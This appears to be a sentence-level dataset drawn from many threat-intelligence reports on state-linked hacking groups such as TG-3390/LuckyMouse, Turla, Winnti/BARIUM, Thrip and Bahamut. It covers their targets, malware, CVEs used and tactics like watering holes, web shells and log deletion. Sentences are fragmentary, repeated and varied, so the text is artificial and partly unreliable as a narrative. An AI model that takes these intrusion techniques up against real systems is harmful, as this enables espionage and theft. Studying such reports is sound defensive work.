In 2015 , the SecureWorks® Counter Threat Unit™ ( CTU ) research team documented the BRONZE UNION threat group ( formerly labeled TG-3390 ) , which CTU™ analysis suggests is based in the People's Republic of China ( PRC ) .
After reestablishing access , the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used .
In 2015 , the SecureWorks documented the BRONZE UNION threat group ( formerly labeled TG-3390 ) , which CTU analysis suggests is based in the People's Republic of China ( PRC ) .
BRONZE UNION threat campaigns that illustrate the evolution of the group 's methods and espionage objectives .
Based on BRONZE UNION 's targeting activity , CTU researchers assess it is highly likely that the group focuses on political and defense organization networks .
this SWC was used to specifically target Turkish .
In 2016 , the threat actors conducted a strategic web compromise ( SWC ) on the website of an international industry organization that affected aerospace , academic , media , technology , government , and utilities organizations around the world .
In addition , BRONZE UNION activity on multiple U.S.-based defense manufacturer networks included the threat actors seeking information associated with aerospace technologies , combat processes , and naval defense systems .
this SWC was used to specifically target Turkish goverment .
Since that analysis , CTU researchers have observed multiple BRONZE UNION threat campaigns that illustrate the evolution of the group 's methods and espionage objectives .
this SWC was used to specifically target Turkish banking .
this SWC was used to specifically target Turkish academic networks .
BRONZE UNION has consistently demonstrated the capability to conduct successful large-scale intrusions against high-profile networks and systems .
The threat actors appear to be able to create and leverage multiple SWCs in parallel .
In a separate incident , CTU researchers identified a file named s.txt , which is consistent with the output of the Netview host-enumeration tool .
BRONZE UNION actors leveraged initial web shell access on Internet-facing systems to conduct internal reconnaissance .
BRONZE UNION appears to use a combination of self-registered IP addresses and commercial VPN services in its command and control ( C2 ) and operational infrastructure .
This script relays commands and output between the controller and the system .
The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server ( systsm.webServer/httplogging ) and then delete existing logs from the system ( see Figure 4 ) .
In 2016 , CTU researchers observed the group using native system .
In March 2018 we detected an ongoing campaign .
TG-3390 's activities indicate a preference for leveraging SWCs and scan-and-exploit techniques to compromise target systems .
As of this publication , BRONZE UNION remains a formidable threat group that targets intellectual property and executes its operations at a swift pace .
we detected an ongoing campaign targeting a national data center .
The operators used the HyperBro Trojan as their last-stage in-memory remote administration tool ( RAT ) .
we detected an ongoing campaign targeting a national data center in the Centeral Asia .
The tools found in this campaign , such as the HyperBro Trojan , are regularly used by a variety of Chinese-speaking actors .
Due to tools and tactics in use we attribute the campaign to LuckyMouse Chinese-speaking actor ( also known as EmissaryPanda and APT27 ) .
It's possible TG-3390 used a waterhole to infect data center employees .
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 ( Microsoft Office Equation Editor , widely used by Chinese-speaking actors since December 2017 ) , we can′t prove they were related to this particular attack .
We suspect this router was hacked as part of the campaign in order to process the malware 's HTTP requests .
In March 2017 , Wikileaks published details about an exploit affecting Mikrotik called ChimayRed .
There were traces of HyperBro in the infected data center from mid-November 2017 .
In March 2017 , Wikileaks published details about an exploit affecting Mikrotik called ChimayRed .
This is a hacking group with Chinese origins which targets selected organisations related with education , energy and technology .
Usually , the delivered payload is either the well-known ' PlugX ' or ' HTTPBrowser ' RAT , a tool which is believed to have Chinese origins and to be used only by certain Chinese hacking groups .
Emissary Panda has used many ways with the most notable being the exploits from the Hacking Team leak .
Emissary Panda is still active and continues to target selected organisations .
Cybersecurity researchers have uncovered an espionage campaign that has targeted a national data center of an unnamed central Asian country in order to conduct watering hole attacks .
The campaign is believed to be active covertly since fall 2017 .
LuckyMouse , also known as Iron Tiger , EmissaryPanda , APT 27 and Threat Group-3390 , is the same group of Chinese hackers who was found targeting Asian countries with Bitcoin mining malware early this year .
March by security researchers from Kaspersky Labs .
For example , at the end of 2016 CTU researchers observed the threat actors using native system functionality to disable logging processes and delete logs within a network .
The group has been active since at least 2010 and was behind many previous attack campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors .
attacks to a Chinese-speaking threat actor group called LuckyMouse .
LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) .
This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain " access to a wide range of government resources at one fell swoop " .
The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center .
According to the researchers , the group injected malicious JavaScript code into the official government websites associated with the data center in order to conduct watering hole attacks .
the targeted system with a piece of malware called HyperBro , a Remote Access Trojan ( RAT ) .
The main command and control ( C&C ) server used in this attack is hosted on an IP address which belongs to a Ukrainian ISP , specifically to a MikroTik router running a firmware version released in March 2016 .
the targets of the hacking group were in the automotive .
Dell SecureWorks researchers unveiled a report on Threat Group-3390 that has targeted companies around the world while stealing massive amounts of industrial data .
The group , believed to be based in China , has also targeted defense contractors , colleges and universities , law firms , and political organizations — including organizations related to Chinese minority ethnic groups .
LAS VEGAS—Today at the Black Hat information security conference , Dell SecureWorks researchers unveiled a report on a newly detected hacking group that has targeted companies around the world while stealing massive amounts of industrial data .
Designated as Threat Group 3390 and nicknamed " Emissary Panda " by researchers , the hacking group has compromised victims' networks largely through " watering hole " attacks launched from over 100 compromised legitimate websites , sites picked because they were known to be frequented by those targeted in the attack .
the United Kingdom had data stolen by members of Emissary Panda .
the US had data stolen by members of Emissary Panda .
No zero-day vulnerabilities were used to breach targeted networks , instead " TG-3390 relied on old vulnerabilities such as CVE-2011-3544 " — a near-year-old Java security hole — " and CVE-2010-0738 to compromise their targets " , Dell SecureWorks' researchers reported .
The group used a number of tools common to other Chinese hacking groups , but they had a few unique tools of their own with interfaces developed for Standard ( Simplified ) Chinese .
If the address falls within ranges that the attackers are interested in , the malicious site waits for their next page view to drop an exploit on the desirable target 's PC .
Visitors to sites exploited by Emissary Panda are directed by code embedded in the sites to a malicious webpage , which screens their IP address .
There has also been at least one victim targeted by a spear-phishing attack .
A variety of malware , including the PlugX tool , was shared with other known Chinese threat groups .
Once inside networks , the group generally targeted Windows network domain controllers and Exchange e-mail servers , targeting user credentials to allow them to move to other systems throughout the targeted network .
They used an exploit of Internet Information Server to inject keylogger and backdoor malware onto the Exchange server .
But two tools used were unique to the group : ASPXTool , an Internet Information Services ( IIS ) specific " Web shell " used to gain access to servers inside a target 's network ; and the OwaAuth credential stealing tool and Web shell , used to attack Microsoft Exchange servers running the Web Outlook interface .
By using such features and tools , attackers are hoping to blend in on the victim 's network and hide their activity in a sea of legitimate processes .
TAA leverages advanced artificial intelligence and machine learning that combs through Symantec 's data lake of telemetry in order to spot patterns associated with targeted attacks .
January 2018 , TAA triggered an alert at a large telecoms operator in Southeast Asia .
Thrip was using PsExec to move laterally between computers on the company 's network .
TAA triggered an alert at a large telecoms operator in Southeast Asia .
AA triggered an alert at a large telecoms operator in Southeast Asia .
PsExec is a Microsoft Sysinternals tool for executing processes on other systems and is one of the most frequently seen legitimate pieces of software used by attackers attempting to live off the land .
TAA not only flagged this malicious use of PsExec , it also told us what the attackers were using it for .
Thrip was attempting to remotely install a previously unknown piece of malware ( Infostealer.Catchamas ) on computers within the victim 's network .
three computers in China being used to launch the Thrip attacks .
Perhaps the most worrying discovery we made was that Thrip had targeted a satellite communications operator .
Thrip seemed to be mainly interested in the operational side of the company .
This suggests to us that Thrip 's motives go beyond spying and may also include disruption .
Armed with this information about the malware and living off the land tactics being used by this group of attackers whom we named Thrip , we broadened our search to see if we could find similar patterns that indicated Thrip had been targeting other organizations .
The group had also targeted three different telecoms operators , all based in Southeast Asia .
In all cases , based on the nature of the computers infected by Thrip , it appeared that the telecoms companies themselves and not their customers were the targets of these attacks .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
Many of the tools they use now feature new behaviors , including a change in the way they maintain a foothold in the targeted network .
Execute a command through exploits for CVE-2017-11882 .
Execute a command through exploits for CVE-2018-0802 .
The backdoor will load the encrypted configuration file and decrypt it , then use Secure Sockets Layer ( SSL ) protocol to connect to command-and-control ( C&C ) servers .
TClient is actually one of Tropic Trooper 's other backdoors .
The malicious loader will use dynamic-link library ( DLL ) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe ( a normal file ) .
TClient , for instance , uses DLL hijacking and injection that may not be as noticeable to others .
The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016 , for instance .
Taiwan has been a regular target of cyber espionage threat actors for a number of years .
In early August , Unit 42 identified two attacks using similar techniques .
which has been active since at least 2011 .
One of the attacks used Tropic Trooper 's known Yahoyah malware , but the other attack deployed the widely available Poison Ivy RAT .
This confirms the actors are using Poison Ivy as part of their toolkit , something speculated in the original Trend Micro report but not confirmed by them .
The document attached to this e-mail exploits CVE-2012-0158 .
As we have noted in many earlier reports , attackers commonly use decoy files to trick victims into thinking a malicious document is actually legitimate .
Further analysis uncovered a handful of ties indicating the actors may also be using the PCShare malware family , which has not been previously tied to the group .
This matches with known Tactics , Techniques , and Procedures ( TTPs ) for Tropic Trooper , targeting both government institutions and also the energy industry in Taiwan .
Tropic Trooper is also still exploiting CVE-2012-0158 , as are many threat actors .
The Tropic Trooper threat actor group has been known to target governments and organizations in the Asia Pacific region for at least six years .
Turla is a notorious group that has been targeting governments .
Turla is known to run watering hole and spearphishing campaigns to better pinpoint their targets .
Turla is a notorious group that has been targeting government officials .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
Turla is a notorious group that has been targeting diplomats .
The codename for Turla APT group in this presentation is MAKERSMARK .
The Intercept reported that there exists a 2011 presentation by Canada 's Communication Security Establishment ( CSE ) outlining the errors made by the Turla operators during their operations even though the tools they use are quite advanced .
The witnessed techniques , tactics and procedures ( TTPs ) are in-line with what we usuallysee in Turla 's operation : a first stage backdoor , such as Skipper , likely delivered through spearphishing followed by the appearance on the compromised system of a second stage backdoor , Gazerin this case .
Southeastern Europe as well as countries in the former Soviet Union Republichas recently been the main target .
Finally , there are many similarities between Gazer and other second stage backdoors used by the Turla group such as Carbon and Kazuar .
Skipper , which has been linked to Turla in the past , was found alongside Gazer in most cases we investigated .
Turla APT group makes an extra effort to avoid detection by wiping files securely , changing the strings and randomizing what could be simple markers through the different backdoor versions .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including government institutions .
Turla all uses an encrypted container to store the malware 's components and configuration and they also log their actions in a file .
Over the last 10 months , Kaspersky Lab researchers have analyzed a massive cyber-espionage operation which we call " Epic Turla " .
We also observed exploits against older ( patched ) vulnerabilities , social engineering techniques and watering hole strategies in these attacks .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including embassies .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including military .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including education .
When G-Data published on Turla/Uroburos back in February , several questions remained unanswered .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including research and pharmaceutical companies .
The primary backdoor used in the Epic attacks is also known as " WorldCupSec " , " TadjMakhal " , " Wipbot " or " Tavdig " .
Thrip 's motive is likely espionage and its targets include those in the communications , geospatial imaging , and defense sectors , both in the United States and Southeast Asia .
One big unknown was the infection vector for Turla ( aka Snake or Uroburos ) .
The mothership server is generally a VPS , which runs the Control panel software used to interact with the victims .
the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated .
Once a victim is confirmed as " interesting " , the attackers upload another Epic backdoor which has a unique ID used to control this specific victim .
Our analysis indicates this is a sophisticated multi-stage infection ; which begins with Epic Turla .
this attack against a Kaspersky Lab user on August 5 , 2014 .
VENOMOUS BEAR is an advanced , Russia-based adversary that's been active since at least 2004 .
Venomous Bear has deployed malware to targets using several novel methods .
For years , Turla has relied , among other impersonations , on fake Flash installers to compromise victims .
Turla merely uses the Adobe brand to trick users into downloading the malware .
By looking at our telemetry , we found evidence that Turla installers were exfiltrating information to get.adobe.com URLs since at least July 2016 .
Thus , it is clear they are trying to be as stealthy as possible by hiding in the network traffic of the targeted organizations .
Finally , some of the victims are also infected with other Turla-related malware such as ComRAT or Gazer .
Kaspersky Lab documented this behavior in 2014 .
It is not a new tactic for Turla to rely on fake Flash installers to try to trick the user to install one of their backdoors .
Turla operators could use an already-compromised machine in the network of the victim 's organization to perform a local MitM attack .
Our January 2018 white paper was the first public analysis of a Turla campaign called Mosquito .
It is not the first time Turla has used generic tools .
In the past , we have seen the group using open-source password dumpers such as Mimikatz .
Starting in March 2018 , we observed a significant change in the campaign : it now leverages the open source exploitation framework Metasploit before dropping the custom Mosquito backdoor .
Even an experienced user can be fooled by downloading a malicious file that is apparently from adobe.com , since the URL and the IP address correspond to Adobe 's legitimate infrastructure .
However , to our knowledge , this is the first time Turla has used Metasploit as a first stage backdoor , instead of relying on one of its own tools such as Skipper .
Traffic was intercepted on a node between the end machine and the Adobe servers , allowing Turla 's operators to replace the legitimate Flash executable with a trojanized version .
At the beginning of March 2018 , as part of our regular tracking of Turla 's activities , we observed some changes in the Mosquito campaign .
In this post , we have presented the evolutions of the Turla Mosquito campaign over the last few months .
Primary targets for this adversary are in the government , aerospace , NGO , defense , cryptology and education sectors .
Turla 's campaign still relies on a fake Flash installer but , instead of directly dropping the two malicious DLLs , it executes a Metasploit shellcode and drops , or downloads from Google Drive , a legitimate Flash installer .
The Turla espionage group has been targeting various institutions for many years .
Recently , we found several new versions of Carbon , a second stage backdoor in the Turla group arsenal .
The Turla group is known to be painstaking and work in stages , first doing reconnaissance on their victims' systems before deploying their most sophisticated tools such as Carbon .
Kaspersky APT Intelligence Reporting subscription , customers received an update in mid-February 2017 .
Like previous Turla activity , WhiteBear leverages compromised websites and hijacked satellite connections for command and control ( C2 ) infrastructure .
WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report " Skipper Turla – the White Atlas framework " from mid-2016 .
However , despite the similarities to previous Turla campaigns , we believe that WhiteBear is a distinct project with a separate focus .
From February to September 2016 , WhiteBear activity was narrowly focused on embassies and consular operations around the world .
Continued WhiteBear activity later shifted to include defense-related organizations into June 2017 .
All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations .
Thus , Turla operators had access to some highly sensitive information ( such as emails sent by the German Foreign Office staff ) for almost a year .
Our investigation also led to the discovery of dozens of email addresses registered by Turla operators for this campaign and used to receive exfiltrated data from the victims .
It mainly targets Microsoft Outlook , a widely used mail client , but also targets The Bat! , a mail client very popular in Eastern Europe .
First , Turla steals emails by forwarding all outgoing emails to the attackers .
We identified several European governments and defense companies compromised with this group .
What actually happens is that the malware is able to decode data from the PDF documents and interpret it as commands for the backdoor .
In early 2018 , multiple media claimed that Turla operators used mail attachments to control infected machines .
As detailed in the previous section , this malware is able to manipulate and exfiltrate emails .
To our knowledge , Turla is the only espionage group that currently uses a backdoor entirely controlled by emails , and more specifically via PDF attachments .
The attackers first infected in March 2017 .
Our research shows that compromised organizations are at risk of not only being spied on by the Turla group who planted the backdoor , but also by other attackers .
The developers refer to this tool by the name Kazuar , which is a Trojan written using the Microsoft.NET Framework that offers actors complete access to compromised systems targeted by its operator .
We suspect the Kazuar tool may be linked to the Turla threat actor group ( also known as Uroburos and Snake ) , who have been reported to have compromised embassies , defense contractors , educational institutions , and research organizations across the globe .
This is also a full-featured backdoor controlled by email , and which can work independently of any other Turla component .
A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005 .
If the hypothesis is correct and the Turla threat group is using Kazuar , we believe they may be using it as a replacement for Carbon and its derivatives .
We used a combination of tools such as NoFuserEx , ConfuserEx Fixer , ConfuserEx Switch Killer , and de4d0t in order to deobfuscate the code for in depth analysis .
Kazuar generates its mutex by using a process that begins with obtaining the MD5 hash of a string " [username]=>singleton-instance-mutex " .
The subject is a series of targeted attacks against private companies .
e uncovered the activity of a hacking group which has Chinese origins .
Also , by creating this type of API access , Turla could use one accessible server as a single point to dump data to and exfiltrate data from .
According to our estimations , this group has been active for several years and specializes in cyberattacks against the online video game industry .
Based on our analysis , we believe that threat actors may compile Windows and Unix based payloads using the same code to deploy Kazuar against both platforms .
The group 's main objective is to steal source codes .
In 2010 HBGary investigated an information security incident related to the Winnti group at one of HBGary 's customers – an American video game company .
In 2010 US-based HBGary investigated an information security incident related to the Winnti group at one of HBGary 's customers – an American video game company .
For a long time the Winnti group had been considered as a Chinese threat actor targeting gaming companies specifically .
In April Novetta released its excellent report on the Winnti malware spotted in the operations of Axiom group .
The Axiom group has been presented as an advanced Chinese threat actor carrying out cyber-espionage attacks against a whole range of different industries .
this library includes two drivers compiled on August 22 and September 4 , 2014 .
Also our visibility as a vendor does not cover every company in the world ( at least so far ;  ) ) and the Kaspersky Security Network ( KSN ) did not reveal other attacks except those against gaming companies .
Conversely , LokiBot and Agent Tesla are new malware tools .
Based on multiple active compromises by the Axiom threat group , Novetta was able to capture and analyze new Winnti malware samples .
Initial attack targets are commonly software and gaming organizations in United States , Japan , South Korea , and China .
Initial attack targets are commonly software and gaming organizations in United States , Japan , South Korea , and China .
The samples Novetta obtained from the active Axiom infection were compiled in mid- to late 2014 and represent what Novetta is referring to as version 3.0 of the Winnti lineage .
We assess with high confidence that the Winnti umbrella is associated with the Chinese state intelligence apparatus , with at least some elements located in the Xicheng District of Beijing .
The Winnti umbrella continues to operate highly successfully in 2018 .
The Winnti umbrella and closely associated entities has been active since at least 2009 .
The Winnti and Axiom group names were created by Kaspersky Lab and Symantec , respectively , for their 2013/2014 reports on the original group .
Their operations against gaming and technology organizations are believed to be economically motivated in nature .
However , based on the findings shared in this report we assess with high confidence that the actor 's primary long-term mission is politically focused .
The Winnti umbrella and linked groups' initial targets are gaming studios and high tech businesses .
During the same time period , we also observed the actor using the Browser Exploitation Framework ( BeEF ) to compromise victim hosts and download Cobalt Strike .
In this campaign , the attackers experimented with publicly available tooling for attack operations .
The primary goal of these attacks was likely to find code-signing certificates for signing future malware .
The Chinese intelligence apparatus has been reported on under many names , including Winnti , PassCV , APT17 , Axiom , LEAD , BARIUM , Wicked Panda , and GREF .
The attackers behind observed activity in 2018 operate from the Xicheng District of Beijing via the net block 221.216.0.0/13 .
ALLANITE activity closely resembles Palmetto Fusion described by the US Department of Homeland Security ( DHS ) .
ALLANITE activity closely resembles Palmetto Fusion described by the US Department of Homeland Security .
ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks , including collecting and distributing screenshots of industrial control systems .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group Symantec calls Dragonfly ( which Dragos associates with DYMALLOY ) .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group .
We assess with high confidence that the attackers discussed here are associated with the Chinese state intelligence apparatus .
ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group Symantec calls Dragonfly .
Public disclosure by third-parties , including the DHS , associate ALLANITE operations with Russian strategic interests .
ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system .
Dragos does not publicly describe ICS activity group technical details except in extraordinary circumstances in order to limit tradecraft proliferation .
However , full details on ALLANITE and other group tools , techniques , procedures , and infrastructure is available to network defenders via Dragos WorldView .
In addition to maritime operations in this region , Anchor Panda also heavily targeted western companies in the US , Germany , Sweden , the UK , and Australia , and other countries involved in maritime satellite systems , aerospace companies , and defense contractors .
A current round of cyber-attacks from Chinese source groups are targeting the maritime sector in an attempt to steal technology .
PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy .
ALLANITE operations continue and intelligence indicates activity since at least May 2017 .
APT Anchor Panda is a Chinese threat actor group who target maritime operations .
According to cyber security researchers , Anchor Panda , who work directly for the Chinese PLA Navy , likely remains active .
Dragos does not corroborate nor conduct political attribution to threat activity .
In the past they used Adobe Gh0st , Poison Ivy and Torn RAT malware as their primary attack vector is sphere phishing .
Their targets are marine companies that operate in and around the South China Sea , an area of much Chinese interest .
As recently as this past week , researchers observed Chinese hackers escalating cyber-attack efforts to steal military research secrets from US universities .
The cyber-espionage campaign has labelled the group Advanced Persistent Threat ( APT ) 40 or , titled , Periscope .
The group has been active since at least January 2013 .
The group has also targeted businesses operating in the South China Sea , which is a strategically important region and the focus of disputes between China and other states .
The main targets seem to be US companies in engineering , transport and defense , although it has targeted other organizations around the world .
The times of day the group is active also suggests that it is based near Beijing and the group has reportedly used malware that has been observed in other Chinese operations , indicating some level of collaboration .
Periscope 's activity has previously been suspected of being linked to China , but now researchers believe their evidence links the operation to the Chinese state .
APT40 is described as a moderately sophisticated cyber-espionage group which combines access to significant development resources with the ability to leverage publicly available tools .
Anchor Panda uses website and web-server compromise as a means of attack and leverages an enormous cache of tools in its campaigns , to include exploits that take advantage of known CVE software vulnerabilities .
Like many espionage campaigns , much of APT40 's activity begins by attempting to trick targets with phishing emails , before deploying malware such as the Gh0st RAT trojan to maintain persistence on a compromised network .
The group uses website and web-server compromise as a means of attack and leverages an enormous cache of tools in its campaigns , to include exploits that take advantage of known CVE software vulnerabilities .
More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors .
APT5 has been active since at least 2007 .
APT5 has targeted or breached organizations across multiple industries , but its focus appears to be on telecommunications and technology companies , especially information about satellite communications .
APT5 targeted the network of an electronics firm that sells products for both industrial and military applications .
The group subsequently stole communications related to the firm 's business relationship with a national military , including inventories and memoranda about specific products they provided .
In one case in late 2014 , APT5 breached the network of an international telecommunications company .
The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company 's relationships with other telecommunications companies .
APT5 also targeted the networks of some of Southeast Asia 's major telecommunications providers with Leouncia malware .
We suspect that the group sought access to these networks to obtain information that would enable it to monitor communications passing through the providers' systems .
The FBI said the " group of malicious cyber actors " ( known as APT6 or 1.php ) used dedicated top-level domains in conjunction with the command and control servers to deliver " customized malicious software " to government computer systems .
Deepen told Threatpost the group has been operating since at least since 2008 and has targeted China and US relations experts , Defense Department entities , and geospatial groups within the federal government .
Government officials said they knew the initial attack occurred in 2011 , but are unaware of who specifically is behind the attacks .
According to Deepen , APT6 has been using spear phishing in tandem with malicious PDF and ZIP attachments or links to malware infected websites that contains a malicious SCR file .
Nearly a month later , security experts are now shining a bright light on the alert and the mysterious group behind the attack .
The attacks discussed in this blog are related to an APT campaign commonly referred to as " th3bug " , named for the password the actors often use with their Poison Ivy malware .
Over the summer they compromised several sites , including a well-known Uyghur website written in that native language .
In contrast to many other APT campaigns , which tend to rely heavily on spear phishing to gain victims , " th3bug " is known for compromising legitimate websites their intended visitors are likely to frequent .
While we were unable to recover the initial vulnerability used , it is possibly the same CVE-2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July .
However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .
Our direct observation of in-the-wild spearphishing attacks staged by the Bahamut group have been solely attempts to deceive targets into providing account passwords through impersonation of notices from platform providers .
Bahamut was first noticed when it targeted a Middle Eastern human rights activist in the first week of January 2017 .
Later that month , the same tactics and patterns were seen in attempts against an Iranian women 's activist – an individual commonly targeted by Iranian actors , such as Charming Kitten and the Sima campaign documented in our 2016 Black Hat talk .
In June we published on a previously unknown group we named " Bahamut " , a strange campaign of phishing and malware apparently focused on the Middle East and South Asia .
Once inside a network , APT40 uses credential-harvesting tools to gain usernames and passwords , allowing it to expand its reach across the network and move laterally through an environment as it moves to towards the ultimate goal of stealing data .
Bahamut was shown to be resourceful , not only maintaining their own Android malware but running propaganda sites , although the quality of these activities varied noticeably .
In June we published on a previously unknown group we named " Bahamut " , a strange campaign of phishing and malware apparently focused on the Middle East and South Asia .
Several times , APT5 has targeted organizations and personnel based in Southeast Asia .
However , in the same week of September a series of spearphishing attempts once again targeted a set of otherwise unrelated individuals , employing the same tactics as before .
Our primary contribution in this update is to implicate Bahamut in what are likely counterterrorism-motivated surveillance operations , and to further affirm our belief that the group is a hacker-for-hire operation .
As we wrote then , compared to Kingphish , Bahamut operates as though it were a generation ahead in terms of professionalism and ambition .
In the Bahamut report , we discussed two domains found within our search that were linked with a custom Android malware agent .
After the publication of the original report , these sites were taken offline despite the fact that one agent was even updated a six days prior to our post ( the " Khuai " application ) .
FIF is notable for its links to the Lashkar-e-Taiba ( LeT ) terrorist organization , which has committed mass-casualty attacks in India in support of establishing Pakistani control over the disputed Jammu and Kashmir border region .
As a result , it is already flagged as Bahamut by antivirus engines .
Our initial observation of the Bahamut group originated from in-the-wild attempts to deceive targets into providing account passwords through impersonation of platform providers .
One curious trait of Bahamut is that it develops fully-functional applications in support of its espionage activities , rather than push nonfunctional fake apps or bundle malware with legitimate software .
Curiously , Bahamut appears to track password attempts in response to failed phishing attempts or to provoke the target to provide more passwords .
Bahamut spearphishing attempts have also been accompanied with SMS messages purporting to be from Google about security issues on their account , including a class 0 message or " flash text " .
These text messages did not include links but are intended to build credibility around the fake service notifications later sent to the target 's email address .
We have not found evidence of Bahamut engaging in crime or operating outside its limited geographic domains , although this narrow perspective could be accounted for by its compartmentalization of operations .
Thus far , Bahamut 's campaigns have appeared to be primarily espionage or information operations – not destructive attacks or fraud .
The targets and themes of Bahamut 's campaigns have consistently fallen within two regions – South Asia ( primarily Pakistan , specifically Kashmir ) and the Middle East ( from Morocco to Iran ) .
Our prior publication also failed to acknowledge immensely valuable input from a number of colleagues , including Nadim Kobeissi 's feedback on how the API endpoints on the Android malware were encrypted .
Bahamut targeted similar Qatar-based individuals during their campaign .
Bellingcat also reported the domain had been used previously to host potential decoy documents as detailed in VirusTotal here using hxxp://voguextra.com/decoy.doc .
The China-backed BARIUM APT is suspected to be at the helm of the project .
Trojanized versions of the utility were then signed with legitimate certificates and were hosted on and distributed from official ASUS update servers – which made them mostly invisible to the vast majority of protection solutions , according to Kaspersky Lab .
Kaspersky Lab To compromise the utility , Kaspersky Lab determined that the cyberattackers used stolen digital certificates used by ASUS to sign legitimate binaries , and altered older versions of ASUS software to inject their own malicious code .
To compromise the utility , Kaspersky Lab determined that Barium used stolen digital certificates used by ASUS to sign legitimate binaries , and altered older versions of ASUS software to inject their own malicious code .
BARIUM , a Chinese state player that also goes by APT17 , Axiom and Deputy Dog , was previously linked to the ShadowPad and CCleaner incidents , which were also supply-chain attacks that used software updates to sneak onto machines .
That said , the " fingerprints " left on the samples by the attackers – including techniques used to achieve unauthorized code execution – suggest that the BARIUM APT is behind the effort , according to the researchers .
In the 2017 ShadowPad attack , the update mechanism for Korean server management software provider NetSarang was compromised to serve up an eponymous backdoor .
In the next incident , also in 2017 , software updates for the legitimate computer cleanup tool CCleaner was found to have been compromised by hackers to taint them with the same ShadowPad backdoor .
NetSarang , which has headquarters in South Korea and the United States , removed the backdoored update , but not before it was activated on at least one victim 's machine in Hong Kong .
Given our increased confidence that Bahamut was responsible for targeting of Qatari labor rights advocates and its focus on the foreign policy institutions other Gulf states , Bahamut 's interests are seemingly too expansive to be limited one sponsor or customer .
Barium specializes in targeting high value organizations holding sensitive data , by gathering extensive information about their employees through publicly available information and social media , using that information to fashion phishing attacks intended to trickthose employees into compromising their computers and networks .
We identified an overlap in the domain voguextra.com , which was used by Bahamut within their " Devoted To Humanity " app to host an image file and as C2 server by the PrayTime iOS app mentioned in our first post .
Althoughthe BariumDefendants have relied on differentand distinct infrastructures in an effortto evade detection , Bariumused the same e-mail address (hostay88@gmail.com ) to register malicious domains used in connection with at least two toolsets that Barium has employed to compromise victim computers .
The second method , described in Part D.2 , below , involves the " ShadowPad " malware , which the Barium Defendants have distributed via a third-party software provider 's compromised update .
To enhance the effectiveness of phishing attacks into the organization , Barium will collect additional background informationfrom social media sites .
Employing a technique known as " spear phishing " , Barium has heavily targeted individuals within HumanResources or Business Developmentdepartments ofthe targeted organizations in order to compromise the computers ofsuch individuals .
The first method , described in Part D.l , below , involves the " Barlaiy " and " PlugXL " malware , which the Barium Defendants propagate using phishing techniques .
Using the information gathered from its reconnaissance on social media sites , Barium packages the phishing e-mail in a way that gives the e-mail credibility to the target user , often by making the e-mail appear as ifit were sent from an organization known to and trusted by the victim or concerning a topic of interest to the victim .
Barium Defendants install the malicious " Win32/Barlaiy " malware and the malicious " Win32/PlugX.L " malware on victim computers using the means described above .
Both Win32/Barlaiy & Win32/PlugX.L are remote access " trojans " , which allow Barium to gather a victim 's information , control a victim 's device , install additional malware , and exfiltrate information fi-om a victim 's device .
Barium Defendants install the malicious credential stealing and injection tool known as " Win32/RibDoor.A!dha " .
While not detected at the time , Microsoft 's antivirus and security products now detect this Barium malicious file and flag the file as " Win32/ShadowPad.A " .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Figure 9a , below , shows detections of encounters with the Barium actors and their infrastructure , including infected computers located in Virginia , and Figure 9b , below , shows detections of encounters throughout the United States .
Barium has targeted Microsoft customers both in Virginia , the United States , and around the world .
Once the Barium Defendants have access to a victim computer through the malware described above , they monitor the victim 's activity and ultimately search for and steal sensitive documents ( for example , exfiltration of intellectual property regarding technology has been seen ) , and personal information fi"om the victim 's network .
According to a 49-page report published Thursday , all of the attacks are the work of Chinese government 's intelligence apparatus , which the report 's authors dub the Winnti Umbrella .
Researchers from various security organizations have used a variety of names to assign responsibility for the hacks , including LEAD , BARIUM , Wicked Panda , GREF , PassCV , Axiom , and Winnti .
It targets organizations in Japan , South Korea , and Taiwan , leveling its attacks on public sector agencies and telecommunications and other high-technology industries .
In 2016 , for instance , we found their campaigns attacking Japanese organizations with various malware tools , notably the Elirks backdoor .
Blackgear has been targeting various industries since its emergence a decade ago .
Blackgear 's campaigns also use email as an entry point , which is why it's important to secure the email gateway .
BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years .
Our research indicates that it has started targeting Japanese users .
The malware tools used by BLACKGEAR can be categorized into three categories : binders , downloaders and backdoors .
